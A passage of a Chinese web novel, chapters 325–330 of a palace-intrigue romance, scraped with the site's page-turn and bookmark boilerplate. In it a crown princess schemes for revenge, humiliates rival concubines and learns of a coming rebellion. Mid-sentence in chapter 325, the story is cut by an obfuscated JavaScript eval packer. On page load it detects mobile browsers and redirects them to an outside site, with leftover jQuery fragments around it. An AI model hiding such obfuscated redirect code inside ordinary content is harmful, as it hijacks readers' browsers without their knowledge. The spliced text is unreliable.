别说什么宇儿是无辜的,她从来不是好人。 报复人是无下限的! 睿王想要她孩子的命,她就要睿王孩子的命。 以眼还眼以牙还牙,她的逻辑就是这么简单! 飞霜顺着她的眼神看去,登时猜到她心中所想,“真是什么都瞒不过皇上的法眼!可皇上既然知道睿王的所作所为,会不会也知道咱们的计谋? “知道又如何?是睿王先犯贱的,怪不到我身上来。她冷笑。 飞霜却笑不出来,“就怕殿下知道了真相,会在心里多想。 正说着,门外传来孩子的声音。 “爹爹…… 裴墨染挨个将他们抱了抱,“今日吓到没有? 两个孩子茫然地摇头。 他们不知道有什么好怕的。 裴墨染放心了,“初生牛犊不怕虎,玩去吧。 他走进寝殿,示意众人退下。 飞霜麻利地将门窗阖上,遂带人离开。 “蛮蛮,没事吧?他坐到她身边,心疼地握住她的手。 云清婳道:“我没事,夫君,方才在上书房外是虞贵妃跟睿王…… 他摇摇头,“不必说了,我知道你的为人,定是他们有错,你才出手。 裴墨染话锋一转,严厉道:“日后不准了!我早说了,派两个侍卫保护你,你不答应!你当谁都是你男人?任你打骂? 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 第325章 你把我休了算了 云清婳的脑袋耷拉下去,像是被训斥的孩子,“他们诅咒我跟孩子,我气不过嘛。” “跟我说啊,或者等我来了再动手。”他捧着她的脸,“蛮蛮,不准把自己置身于危险之中,睿王一个好龙阳之癖的变态,他什么事做不出来?” “我知道了。”她点点头。 裴墨染的心又开始发慌,交缠着几分说不清道不明的惊恐,“倘若睿王真对你动手,我定要把他抓进诏狱,让他把酷刑都受一遍都不解气。” 云清婳抱着他的腰,“夫君,方才在御书房,父皇跟你说什么了?” 他如实告知。 云清婳的脸瞬间垮了下来,她抱着胳膊,“哼!我就说裴家没一个好东西,你们父子俩在御书房说我坏话啊?夫君是不是还应声了?你把我休了算了!” 他看她气鼓鼓的模样,脸蛋浑圆,像极了河豚,不禁笑了。 “我哪舍得?我应付父皇呢,你究竟是什么人,我还不知道?”他揉揉她的脑袋,给她顺**。 云清婳的眼神变得复杂,皇上不愧是皇上,眼光真毒啊。 一眼便看穿了她。 她看着裴墨染的眼睛,“夫君,可今日的事真是我做的。” 裴墨染并没有多惊讶,他道:“那又如何?你是为了咱们的孩子。宇儿是无辜的,可承基、辞忧也是无辜的。” “夫君,我若真像皇上说的那样心狠手辣,你是不是就不喜欢了?”她双手交叠,眼神怯怯地看着他,看起来很是不安,眼泪盈眶。 裴墨染立即为她揩去眼泪,他郑重地说:“怎会?蛮蛮什么样,我都喜欢!我们已经走到了这个位置,身不由己,所做的一切不是非黑即白的。” “那蛮蛮要是做了很坏很坏的事情呢?夫君也会原谅吗?”她试探地问。 裴墨染坚定地颔首,他笑着反问:“你能做什么坏事?**放火?我杀的人,放的火比你多多了!我有什么资格嫌弃你?” 云清婳在心里暗想:这可是你说的,将来我杀了皇后,希望你还能如此看得开。 “皇上还说了,让我不要杀裴云澈。你猜对了,皇上可能真的得了重病。”裴墨染的眼神深远。 这话如同晴天霹雳,让云清婳为之一振。 她睁大了双眼手缓缓攥紧“夫君真的不打算动裴云澈了?” “皇上以帮我扫清障碍作为交换倘若日后裴云澈没有过错我不会动他。”裴墨染话锋一转“蛮蛮我知道裴云澈对你跟孩子做的一切不可原谅但我总不能无缘无故地取他性命。” “你等等我只要裴云澈稍有异动我必取他性命。” 云清婳眼底的恨意快要压制不住。 老毕登可真够碍事的! 死都快**还给了裴云澈这么大一个免死金牌。 真会给人添堵! 裴墨染捕捉到了她眼中的幽深的恨意突然感觉眼前人有些陌生。 他还从未见蛮蛮如此仇恨一个人。 裴云澈将蛮蛮掳走的那几日究竟对她做了什么才会让她如此恨他? 他轻抚着她的背“别怕有我在我绝不会让任何人伤害你。” 云清婳光是想想就心烦。 裴云澈怎么就得到免死金牌了呢? “你们裴家没一个好东西!”她狠推了他一把。 他险些跌到地上。 裴墨染哭笑不得“关我何事?你月事来了?翻脸比翻书还快!” …… 接下来的五个月裴墨染每日早出晚归一退朝就在御书房与皇上共商国是。 云清婳知道 这门必修课裴云澈很早就学会了。 对裴墨染而言却是全然陌生。 毕竟从小裴云澈就是被当作大昭的储君培养的所以他做事果决狠厉。 而裴墨染有时会拘泥小节在某些事的处置上意气用事甚至有几分幼稚。 桌案前云清婳捏着辞忧的手一笔一划教她写字。 孩子已经三岁了写字逐渐成型。 飞霜端来一盘花生酥“各个夫人都到齐了就等您了。苏灵音的肚子好大一定是双胎她鼻孔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302986|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝天的得意极了。各个夫人都上赶着巴结呢。” 双胎在大昭是吉兆。 外面的许多人都说苏家的好日子要来了。 就连皇上都夸赞了苏灵音是个有福气的。 但云清婳并不放在心上。 “ 这些日子,裴云澈怎么没动静了?她的声音清冷。 “听说他到处求医问药治疗精寒,都求去咱们药仙谷了,他还没死心。飞霜提起这件事就想发笑,“我爹说,他急于求成,整日临幸妾室,伤了身子,更不成了。 扑哧—— 云清婳的眼中掀起凉薄的嘲意,“皇上就算再糊涂,也不会把皇位传给一个无后之人。随他折腾吧。 “娘亲,我要吃糕糕。辞忧噘着嘴,滴溜溜的葡萄眼水灵灵地看着她。 承基也期待地看着她。 云清婳望着一对儿女,不由得在心中暗叹,两个小家伙长得越来越像她了。 她貌似对他们有了所有感、占有欲,心里悄然发生了微妙的变化,是一种说不清道不明的情愫。 这种羁绊,或许就是所谓的母子亲情吧? “吃吧。她扶了扶发髻上的金簪,披上大氅,转身离开。 她这种情感缺失的人,能体会到如此感情,已经是难得。 前厅中,许多夫人都簇拥在苏灵音身边,眼底的羡慕都快溢出来。 “我们离苏侧妃近些,沾沾喜气! “挨着苏侧妃,说不定我们也能得上苍垂怜,怀上皇嗣。 “这福气我可不能放过。 柳玉的嘴巴絮絮不止,“苏侧妃应该下个月就临盆了吧?东宫连得两次双胎,福运双至,真是天佑殿下啊。 魏娴抱着承宁静静的听着,她的脸色黑沉,很是不屑。 苏灵音抚摸着高高隆起的肚子,笑得春风得意。 巧慧道:“那是当然!主子这一胎可是殿下入主东宫后才怀上的,意义非凡。 苏灵音的下巴高高扬起,仿佛腹中的胎儿是上天所赐,血脉高人一等。 第326章 虎狼之词 一个貌美的夫人陆氏谄媚道:“殿下入主东宫前怀上的双胎,跟入主东宫后怀上的双胎是不同的。老天明显更偏爱苏侧妃一些,太子妃整日伺候殿下,可入主东宫后,肚子就没了动静。” “你可别乱说,到时候又被人说我僭越犯上,赏我巴掌该如何是好?”苏灵音的眼神直勾勾落在对面的魏娴身上。 在场的人都知道的魏娴跟苏灵音的龃龉,视线尴尬地落在魏娴身上。 魏娴装作没听见,笑吟吟地逗弄着怀中的孩子。 “苏侧妃可是皇后的侄女,虽说皇后被禁足了,但也只是一时之困。谁敢欺负您,才是僭越。”陆夫人意有所指。 陆家本就跟苏家交好,如今苏灵音怀了双胎,陆夫人便认准了苏灵音会一飞冲天、咸鱼翻身,所以巴结得紧。 “呵……”苏灵音满意地看着陆氏,心中对她的好感上升。 珠帘后,云清婳听见了一切。 笑吧,等会儿有你哭的! 飞霜掀开珠帘,云清婳莲步款款地走了出来,气质清幽,“抱歉,方才辅导孩子课业,我来迟了。” 陆夫人一哽,脸蛋心虚地涨红。 众人赶紧福身,“见过太子妃。” 云清婳外翘内勾的眸子从众人身上扫过。 她的双眼流露出一丝魅惑,哪怕素面朝天,髻上只有一支金步摇也美得像是壁画上的神女,让人心惊。 各个夫人的眸子明显一怔。 她们在座的许多人都比云清婳要年轻、稚嫩,但容貌是没得比的。 岁月的优势,在云清婳面前完全构不成威胁,甚至为她平添了一丝女人成熟的韵味。 “平身。”云清婳在上首坐下。 她分发了月钱,又恩威并施地训斥了在后宅闹事的夫人。 最后给三位怀孕的夫人赏赐了补品、头面。 “苏侧妃即将临盆,我已经请奏陛下,请太医常驻东宫,若是有不适,定要抓紧跟太医说。”云清婳宽厚地说。 苏灵音挺了挺肚子,语气增添了一抹挑衅与傲慢,“妾身多谢圣上关怀。” 登时,厅中鸦雀无声,落针可闻。 诸位夫人脸上的笑渐渐褪去。 “这是太子妃为苏侧妃求来的,苏侧妃应该感谢太子妃吧。”姜瑶儿轻言细语地好心提醒。 苏灵音刺了她一眼。 陆夫人帮腔道:“姜瑶儿,你管得未免太宽了,太子妃都没说什么,你怎么跟看门狗似的狂吠?” 姜瑶儿的泪珠跟不要钱似的大颗大颗往下掉,“妾身不是这个意思……呜呜……” 她的哭功一如既往的强悍。 把人的耳朵聒噪得疼。 “无妨。”云清婳大气地摆摆手,她的话锋一转,“今日把诸位召来,正是为了延绵皇嗣之事。东宫皇嗣不多,同样的年纪,皇上在这时,儿女加起来都有十个了。” “不如请各个怀孕的夫人传授一下经验,也好让其他夫人受孕,为殿下延续香火,传宗接代。” 云清婳的话音刚落,在座的诸位夫人的眼眸像是被点燃。 她们看云清婳的眼神多了一丝敬重。 从未见过如此宽厚大方的主母,居然给所有人机会受孕。 苏灵音的手缓缓攥了起来,脸上的笑淡去。 云清婳、魏娴都注意到了苏灵音的表情变化,奚落地交换了个眼神。 她们就知道,苏灵音为人善妒,恨不得只有她的孩子独放光彩。 陆夫人激动不已,她笑道:“多谢太子妃,若是妾身能有孕,定不会忘了您的恩典。” “多谢太子妃。”众人起身福礼。 苏灵音鼻孔都快气地冒烟,她磨着后槽牙。 这些贱人,要不要脸? 一群狐媚子! “三位夫人有何秘法皆可说出来,若是姐妹们都有自己的孩子,皆有了倚靠,东宫就不会有这么多阴谋算计了,大家平日都可以松快些。”云清婳循循善诱道。 众人的目光都落在三位怀孕的夫人身上。 可三人皆支支吾吾,舍不得说出来。 云清婳完全拿捏了她们的心思,她道:“若是你们的方法奏效,我会请奏殿下加封你们为贵妾、甚至侧妃!” 三人的眼眸瞬间亮了。 陈如燕正是其中之一,她率先开口,“我的确吃了娘家的补药,但我的身子从小就好,你们想要药方,稍后我就公布出来。” 另一个妾室道:“我娘家也有秘方。” 还有个妾室低下头,羞涩道:“那一晚,殿下喝了酒,所以格外……” 她的虎狼之词让在座的所有人面红耳赤,不好意思听却又想听。 云清婳感觉像在听十八禁的话本子。 飞霜早就羞赧地捂住了耳朵。 她看向苏灵音,苏灵音不出所料,早就面目扭曲。 等众人七嘴八舌地说完,云清婳道:“放心,等殿下闲下来,我会劝他雨露均沾。” 众夫人感激的谢恩。 云清婳示意众人退下。 陆夫人却站在原地不动,她的眼中满是贪婪,“敢问太子妃是如何留住殿下的?不如给姐妹们传授一二,妾身日后也好伺候殿下。” 本小章还未完,请点击下一页继续阅读后面精彩内容!魏娴的眼中闪过嫌恶。 真是不知足,贪心至极! “说笑了,太子妃与殿下是夫妻,岂用留住殿下?”魏娴讽刺。 陆夫人干笑了两声,她的脸皮不是一般的厚,“妾身失言了!妾身只是害怕伺候不好殿下,所以才请教太子妃。” 苏灵音噙着玩笑的口吻,见缝插针道:“是啊,太子妃不是希望众位姐妹怀孕吗?您可千万不能藏私啊。” 其他夫人也满是期待地看着云清婳。 现在的局面对云清婳很不利。 若是她不说,就显得她言行不一,说一套做一套,必会失了人心。 可当众说房事,让人怎好意思启唇。 苏灵音好奇地看着云清婳,她想听听这位京中第一贵女能说出什么‘技巧’。 此事若是传出去,太子妃必会颜面扫地。 “殿下不喜女子刚烈,诸位循规蹈矩,温婉乖顺,殿下自会怜惜。”云清婳模棱两可地说了一句。 众人不禁感到失落。 说了跟没说有区别? “太子妃这样可不行,草草敷衍姐妹们,您跟殿下感情甚笃,可怜姐妹们独守空房,蹉跎年月。这还谈何传宗接代?”苏灵音故意挑事。 许多夫人也纷纷点头。 陆夫人小声道:“太子妃方才还说希望所有姐妹有孕,原来是漂亮话啊,都是我蠢,竟然当真了。” 云清婳扶额,无奈地笑了。 喜欢易孕娇妃勾勾手,王爷俯首称臣了请大家收藏:()易孕娇妃勾勾手,王爷俯首称臣了更新速度全网最快。 第327章 东施效颦,自取其辱 苏灵音嘟着嘴,她撒娇道:“太子妃,您今日不说个一二,我可不走了。” 她一副娇憨天真的模样,用玩笑耍无赖,让人想发作都发作不了。 “是啊,妾身也不走了。”陆夫人厚脸皮道。 几个夫人也应和着。 飞霜气得绞着帕子。 主子简直被架在火上烤,说什么都不对。 云清婳不甚在意,她不疾不徐走到横柜前,将一面铜镜转过来,正对着苏灵音的脸。 众人疑惑不解。 云清婳挑起一边黛眉,眸中倏然扬起一抹嘲意,“这便是技巧。” 魏娴恍然大悟,她反问:“苏侧妃可听过东施效颦!?” 众人发笑:“呵……” 苏灵音的脸涨得通红,她像是挨了一巴掌,尊严掉到了地上,被云清婳狠狠践踏。 怀孕后,她本就胖了不少,双颧也长了好多斑点,本就有些自卑。 方才几个咄咄逼人的夫人登时面皮绯红,垂下脑袋。 云清婳冷下脸,不容置喙,“退下!” “是。”几个夫人落荒而逃,引来了其他人的嘲笑。 苏灵音哼了一声,噙着眼泪被巧慧扶走。 云清婳,你给我等着! 我的孩子一定比你的贱种卓越! 几个夫人用帕子遮住嘴,嗤笑道:“真是自取其辱,太子妃素面朝天都容貌绝佳,岂是她们能学来的?” “她们不会真以为学太子妃说话、做事就能获得恩宠吧?” “不自量力!” 云清婳身心舒畅,她不想这么刻薄的,可谁让她们非要犯贱呢? …… 夜幕已深,裴墨染才回玄音阁。 他轻手轻脚地看了孩子后,便照旧去净室沐浴更衣。 云清婳躺在榻上早就听见了他的响动,她阖着双眼,半梦半醒间感受到身侧床榻塌陷下去。 裹挟着风霜的怀抱将她包裹住。 云清婳为之一颤,“唔……夫君身上好冷。” 裴墨染轻笑,他将脸埋进她的胸口,“那娘子帮我暖暖。” “你坏死了,故意冻我。”她好奇地用脚试探地勾了下裴墨染的脚,果然跟冰似的。 她被冻得瑟缩了下,立即缩回腿。 裴墨染真怕把她冻坏,他松开她,命人送来汤婆子,塞进云清婳的怀里,“今日我回来得早,你可不能拒绝我。” 她装傻,“什么啊?” “你说呢?”他一眼就看穿她蒙混过关的小心思,没好气地刮了下她的鼻尖。 云清婳扯起被褥,盖过半张小脸,“我可听不懂,我要睡了。” “你睡你的。”他俯下身,给她顺了顺披散的头发,想要将它们编起来。 免得一会儿压到了,她又怪他。 男人的眼中闪着瘆人的侵略性,就好像一匹饿狼,要把她拆吞入腹。 她光是看着他的表情,腿就软了。 “我来月事了。”她扭转过身,背对着他。 裴墨染冷哼,他将她重新捞进怀里,“你每个月月末才来,如今是月初,你的日子我都记得。” 他的语气略带得意。 她不明白他在骄傲什么,“你记这个干嘛?” 裴墨染轻车熟路地解开她的衣带,他轻咬她的脖颈,“你说呢?” “夫君这些日子披星戴月,日理万机,还不好生歇息,尽想这些破事。”她噘着嘴。 他扭曲她的意思,“是啊,我这么劳累,蛮蛮还不奖励我?” 她哑口无言。 帐中摇晃,纱幔内的旖旎层层高涨,帐钩上的宫铃发出时缓时急的响声。 不知过了多久,暖帐中的暧昧氛围才消散。 云清婳香汗淋漓,乏力的枕在裴墨染的臂弯上,双眼失焦。 裴墨染叫了水,将她抱去净室清洗后,才熄了灯拥她入眠。 “心肝儿,明日别忘了喝避子汤。”他在她耳畔轻声道。 她的眼底攒着报复,故意问:“为何?” 裴墨染一怔,“咱们不是说好了吗?日后不生了。” “夫君不让我怀孕,还逼我喝避子汤,定是在防着我,明日我就进宫跟皇祖母说。”她哼了一声。 他又气又想笑,“又在说胡话!有承基跟辞忧还不够?!” 她使劲戳了下他的胸口,“是啊,苏灵音快生了呢,你不缺孩子。” 裴墨染的脸瞬间阴沉下来,他的嫌弃溢于言表,他欲言又止,“不是你想的那样,她……” 他想告诉蛮蛮真相,苏灵音肚子里的孩子不是他的。 但又说不出口。 现在还不是时候。 “她……” 云清婳阖上眼。 着急吗? 那就对了! 憋死你! “别说了,我困了。”她捂住他的嘴。 裴墨染恨不得抓心挠肝,今夜他彻底失眠了。 …… 翌日,天边泛起鱼肚白,王显便来拍门。 裴墨染麻利起身,他的眼下挂着青黑,无精打采,连着打哈欠。 云清婳见状嗤嗤地笑了。 他在她的脸上捏了一把,“你真是坏,一点都不知道心疼你男人。” 这章没有结束,请点击下一页继续阅读!“谁让你昨晚乱来的?累死你!”她掐了把他的腰。 裴墨染俯下身,在她耳边吹了口气,混不吝道:“我不累,今晚还能再来。” 她吓得花容失色,“夫君不忙了?” “父皇召长公主回京,满朝文武都准备迎接长公主,我怎会不忙?但为了娘子,我会排除万难。”他穿上蟒袍。 云清婳拧着眉。 长公主可不简单,她心有大志,文韬武略,才华横溢,一心想要登基成女帝。 皇上忌惮长公主的野心,所以一登基便将她赶去了封地。 在原着里,裴墨染登基后,长公主就跟苏家、裴云澈联手,起兵造反。 裴墨染为了镇压这位姑姑,牺牲了很多人。 他的副将都葬身于长公主之手。 可现在,皇上却主动召回了长公主。 这明显是为了给裴墨染铺路,长公主这一次恐怕凶多吉少。 “听说长公主是难得的大才女,先帝称赞她是治国奇才。”云清婳道。 裴墨染的表情变得复杂,“是啊,我的好姑姑要回京了。蛮蛮很崇拜她?” “自然,这样的才女谁会不敬重?”她反问。 他欲言又止,沉吟了半晌,他正色道:“她可不是什么正经人。” 云清婳蹙眉,“嗯?” “她一把年纪了,还没有驸马……”裴墨染随口说了一句。 云清婳剜了他一眼,“在夫君心里,女子不成亲就罪不可恕?女子只有嫁人,才称得上贤良淑德,才有价值?” 喜欢易孕娇妃勾勾手,王爷俯首称臣了请大家收藏:()易孕娇妃勾勾手,王爷俯首称臣了更新速度全网最快。 第328章 皇上陪她演戏 他立即摇头,“蛮蛮,我不是这个意思,那是因为长公主……” “夫君也有女儿,你对女子的偏见太大了。”她打断他的话,径自绕过他。 “蛮蛮……”裴墨染无奈地唤了她一声。 可云清婳不搭理他,径自送孩子进宫上课。 裴墨染感到委屈,他追上前,“蛮蛮,你误会我了,我不是这个意思,这件事另有隐情。” “什么隐情?”她问。 他看着她清纯的小脸,有些难以启齿,他欲言又止,半晌一个字都没吐出来。 “解释不出来?”云清婳剐了他一眼,将孩子抱上了马车。 …… 没几日,长公主裴玉珠就回京了。 迎接长公主的宫宴上,长公主带回了苏将军。 众官员瞪圆了眼。 皇上的眼中也闪过惊讶,“这是……?” 裴玉珠行了大礼,她跪在地上,笑吟吟道:“皇上,我在回京途中遇见了山匪,多亏苏将军搭救,所以我就擅作主张将他带回京城,想为他讨个赏赐。” 苏将军跪在地上磕头,他期待又惊恐地抬眼,悄悄看着皇上。 众人等待着皇上的答复。 裴墨染登时脸色阴鸷,“他们二人怎么勾搭在一起了?” 云清婳的黛眉紧锁,手缓缓攥紧。 这一次,裴玉珠选择的盟友依旧是苏家。 皇上颔首,“既然苏家救了皇姐,那便允许他们回京暂住,但若是再生事端,必不能饶恕。” “多谢陛下恩典。”苏将军重重叩首。 云家众人的脸色骤然阴沉。 裴墨染轻拍云清婳的背,“别担心,苏家没几日好日子了。” 她颔首。 宴席很快就开始了,歌舞升平,场面盛大。 皇上跟裴玉珠一母同胞,多年未见,二人有许多话要说。 二人谈天说地,提及过往,纵使是皇上也红了眼眶。 裴玉珠也拿出帕子抹起了眼泪。 台下的官员窃窃私语,“皇上年纪大了,开始念旧了。” “亲姐弟哪有深仇大恨?曾经的风言风语早就过去了。” “当年若不是有心人谣传长公主野心勃勃,圣上怎会将长公主赶走?” 云清婳扯出一抹意味不明的笑。 因为她感受到了平静假象下的诡谲暗潮。 裴玉珠吃了许多酒,眼神逐渐迷离,她眯着眼看向云清婳,对云清婳举起酒杯。 云清婳正欲回敬,手中的酒杯就被裴墨染夺走,裴墨染替她饮下酒水。 “你酒量不好,莫要贪杯。”他闪烁其词。 云清婳不解,她的酒量不差,裴墨染是知道的。 但她没有深究。 …… 宴席结束,群臣离席。 下台阶时,云家跟苏将军撞上了。 “你们云家处心积虑谋害苏家又如何?没想到吧?我又回来了!”苏将军的嘴角斜提,阴森森地笑了。 云丞相垮着脸,压根不用正眼看他。 云褚咋舌,“苏将军真是老糊涂了,陛下说的是暂住!暂住是什么意思,你懂吗?” “你这个黄毛小儿!”苏将军的脸色发青。 “你自己回京住住就行了,免得拖家带口,离开的时候搬家麻烦。”云褚戏谑的轻扬下巴。 苏将军感到耻辱,他的眼神如有实质的落在云褚身上。 若是眼神能杀人,云褚恐怕已经死了数十次了。 “皇上只不过是为了安抚你们!长公主不走,我便不走!”苏将军冷嗤。 云褚压低声音,故意用苏将军能听到的声音道:“死皮赖脸!” “你……竖子!”苏将军气得鬓角的青筋暴起,“别忘了,灵音怀了双胎!这是大吉兆!苏家回京时早晚的事。” 云褚像是被扼住了喉咙,登时语塞。 云家人的脸色变得难看。 “哼!”苏将军得意地挑眉。 云清婳牵着孩子款款走来,她讽刺道:“是啊,苏侧妃怀了双胎,可将来的事谁能说准?毕竟苏盛都能一会儿死,一会儿活。大变活人,大变死人可是苏家的拿手好戏!” 苏将军的脸比锅底还黑,他捏着拳头道:“你、你敢对灵音出手,我定不会放过你!我可是长公主的救命恩人,如今长公主正得圣宠!” “你试试呢。”云清婳的尾音上扬,“苏家再舞到云家面前,我可不保证苏盛的悲剧会不会再次上演!” 苏将军慌了,他的面目扭曲,又气又怕。 “这就怕了?方才不还神气吗?”云褚揶揄道。 “……”苏将军恶狠狠地瞪他,不敢回嘴。 云家满意的笑了,一同离开。 走远后,云丞相道:“蛮蛮,陛下心意莫测,你要当心了。苏家搭上了长公主,苏灵音又怀了双胎,他们只怕会卷土重来。” “爹爹放心,我心中有数,苏家就是秋后的蚂蚱,蹦跶不了多久了。”云清婳露出讳莫如深的笑。 …… 御书房内。 裴墨染扶着皇上在上首坐下,他道:“父皇,为何要将苏将军留下?他跟姑姑明显里应外合,已经联手了。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“不然呢?明处的敌人总比暗处的好咳咳……”皇上止不住地咳嗽,“既然要诱敌深入,咱们能做的就是佯装不知,任她自大狂妄,自取灭亡。” 裴墨染端来一碗汤药。 皇上饮下后,他吐出一口浊气,“皇姐若是迷途知返,朕也不想取她性命。” “姑姑养了私兵,此次这么痛快地回京,必是做了鱼死网破的准备。”裴墨染分析道。 皇上颔首,“若是裴玉珠真敢造反,她死不足惜,但苏家还有用!你要善待苏家,把他们牢牢把握住。” 裴墨染的眼中闪过疑惑,“为何?” “苏家是名门望族、开国功臣之一,保下他,其他忠臣才会心安,继续臣服与你。其次,苏将军虽然鲁莽傲慢,但却是镇守西境的一把好手。你若继位,总不可能天天御驾亲征。” 裴墨染的唇瓣微动,他正欲说话,皇上继续道:“朕知道你厌恶苏家,可云家能守国门吗?” “儿臣受教了。”裴墨染拱手。 皇上用帕子擦去嘴角苦涩的药汁,“回东宫后,你跟云家说好,莫要再激怒苏家。且让他们嚣张几日!裴玉珠用苏家试探朕的底线,朕便陪她演。苏家越嚣张,裴玉珠才会越发相信朕老糊涂了,放松警惕。” “是。”裴墨染颔首。 皇上若正值盛年,定不会用这种憋屈的办法来迷惑裴玉珠。 但如今他朝不虑夕,日薄西山,唯有如此才稳妥。 喜欢易孕娇妃勾勾手,王爷俯首称臣了请大家收藏:()易孕娇妃勾勾手,王爷俯首称臣了更新速度全网最快。 第329章 交代真相 裴墨染离开御书房时,迎面碰见了裴玉珠。 他拱手道:“姑姑。” “好久不见,墨染都长这么高了。”裴玉珠上下打量他,眼神慈爱,看不出一丝一毫的锋芒,“好孩子,这么多年,你受苦了。” 裴墨染的眼底闪过惊愕。 他不确定裴玉珠指的是十年的西北羁旅,还是他的身世之谜。 倘若是后者,她实在深不可测。 “呵,怎么这副表情?”裴玉珠宠溺地轻拍他的肩膀,一副长辈的姿态,“都是太子了,还是这么藏不住事,这可不行。” 裴墨染的心咯噔一响。 这个女人真是令人厌恶! “姑姑是来见父皇的?父皇就在里面,本宫先走了。”他抬腿就走。 “慢着!”裴玉珠的语气严肃了几分,“你袖间有一股子药味,莫不是皇上……病了?” 裴墨染沉默了片刻,他道:“姑姑怎敢妄议圣上?” “行了,你走吧,我知道答案了。”裴玉珠不耐烦地摆摆手。 裴墨染有种一拳打在棉花上的无力感。 他总算明白父皇当年为何忌惮裴玉珠了。 这个女人傲慢自大,却又心细如尘,慧极近妖,实在让人无法掌控! …… 裴玉珠被召进御书房。 皇上看到她,露出经年不见,久违的笑,“赤阳王不在了,皇姐是朕在这世上最后的亲人了。日后皇姐就好生在京城养老吧。” “皇上怎么突然这么腻歪?人老了,就喜欢忆往昔。”裴玉珠打趣。 “咳咳咳……”皇上扶着胸口,猛咳不止。 裴玉珠先是一愣,随后的眼中露出掌握一切的了然。 她关切道:“皇上可还好?方才墨染都跟我说了,是什么病?” 皇上微微一怔。 这是想套他的话。 他欲盖弥彰的摆摆手,“风寒罢了。” “咱们年纪不小了,要多注重保养啊。皇上日理万机,也要顾及身子。”裴玉珠顺着他说道。 皇上颔首,他的眸色浑浊,似乎看到了以前的景象,“是啊,朕老了。朕还记得,幼时皇姐常常背着朕爬树,皇姐身手敏捷,比许多皇兄爬的还要高。母后总会训斥你……” “还有一年,朕因为贪玩,课业没写,母后要打朕手板。也是皇姐护在朕身前,对母后说要打先打你。这些事,朕最近时常想起……” 裴玉珠打了个哈欠,眼珠子滴溜溜地转,满是算计。 只有暮年之人才会唠叨不停,回忆往昔。 皇上的病绝对没有这么简单…… 思及此,裴玉珠眼中光彩乍现。 许多事情都有了合理的解释。 难怪皇上方才如此反常,在宴席上险些落泪。 莫不是病入膏肓了? …… 云清婳回玄音阁不久,裴墨染便跟着回来了。 他从身后一把抱住云清婳,“怎么不等我?还在为了裴玉珠生我的气?” “怎会?都过去多少天了?我还以为夫君要跟皇上在御书房待许久呢。”云清婳转过身,捧着他的脸。 他松了口气,他撒娇道:“蛮蛮,我方才碰见裴玉珠了,那女人着实讨厌,你日后见她一定要绕道走。” 云清婳不明白为何裴墨染总让她避着裴玉珠,但他不说,她自然也不会问。 她乖巧地颔首,她玩笑道:“不过她欺负夫君,我得帮夫君报复回来才行。” 裴墨染轻蔑地瞥她,忍俊不禁道:“就你?你这只小白兔别被她那只老狐狸给吃了。” “谁是狐狸还不一定呢。”她怂了怂鼻子。 “那你也是小狐狸,斗不过她的。”他轻嗤。 云清婳剜了他一眼,话锋一转,“夫君,皇上真的要让苏家留在京城?” 裴墨染的神色一变,他屏退众人,牵着她的手走去寝殿深处。 云清婳猜测,裴墨染可能要跟她摊牌了。 他幽幽地看着她,正色道:“蛮蛮,这只是权宜之计,裴玉珠恐怕想要造反。” 她惊呼一声,立即捂住了嘴。 “她是想登基成女帝不成?”她问。 裴墨染颔首,“裴玉珠要跟苏家联手了,她养精蓄锐多年,在封地囤了私兵。父皇准备瓮中捉鳖,将她一举剿灭。” 她垂下眼睫,“夫君跟我讲这些作甚?” 他握住她的手,“你说我给你讲这些作甚?你是我的娘子,我有什么事不能讲给你?” 云清婳狡黠的睨他,“这可是你主动说的,别到时候怪我干政。” “就你心眼多!我是这种反复无常的人吗?”裴墨染捏捏她的手心,“蛮蛮,裴玉珠本就自大,现在我们要做的就是捧杀。这些日子云家忍一忍,尽管让苏家得意。嗯?” “我知道了,我归宁时跟爹娘交代。”她回他安心的眼神。 裴墨染心疼地看着她,“蛮蛮总是这么懂事,你放心,此事过后,苏家必会受到惩罚,苏灵音不会再碍你的眼了。” 她鼓鼓嘴,“说得倒是好听!别人为你怀了双胎呢,你舍得?” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!裴墨染实在憋得慌,他再也忍不住了,他凑近她的耳畔道:“她的确怀了双胎,但那不是我的孩子。” “啊?”她故作惊讶。 他信誓旦旦地颔首,“你若不信,我敢对天发誓,我怎会碰她?你又不是不知道我有多厌恶这种女人。” 她揪住他的耳朵,虎着脸,冠冕堂皇地指责,“夫君也真够缺德的!哪能这样对待女子啊?” “我就知道你要怪我,所以我不敢跟你说。那你说我能怎么办?”他理不直气也壮。 云清婳嘀咕:“装什么啊?你又不是没碰过她。” “不一样!自从跟她撕破脸后,我便对她……没反应了。”裴墨染的脸涨得通红,似乎用尽了浑身的力气才挤出这句话。 云清婳一愣,杏眼瞪得浑圆。 这是生理性厌恶。 突然间,她有点同情裴墨染了。 扑哧—— 她笑了。 光是想想裴墨染不举的画面就好笑。 裴墨染恼羞成怒,将她扑倒在榻上,“笑什么?我只是对她无心无力,对娘子,我可是有心有力,尽心尽力。” 云清婳挣了挣,脸颊映出桃红,“咱们不是说正事吗?夫君又不正经了。” “正事说完了。”他堵住她的唇,掠夺她的呼吸。 忽地,拍门声响起。 “殿下、太子妃……有要事!” 王显的声音急促地传来。 云清婳轻拍他的胸口,“夫君,别闹了。” 裴墨染正在兴头上,却像被泼了一盆冷水。 他懊恼地吐出一口浊气,不悦道:“进来说。” 王显推门而入,他焦急道:“皇后被解禁了。” 喜欢易孕娇妃勾勾手,王爷俯首称臣了请大家收藏:()易孕娇妃勾勾手,王爷俯首称臣了更新速度全网最快。 第330章 没白疼两个孩子 裴墨染立即看向云清婳。 云清婳的表情很淡,不阴不晴。 他握住她的手,“蛮蛮,再忍忍。” “嗯。”云清婳颔首。 这是意料之中的事。 …… 皇后解禁自然是裴玉珠的手笔。 在她的说和下,皇上与皇后冰释前嫌,念起了夫妻旧情。 苏家似乎再次恢复了曾经的辉煌。 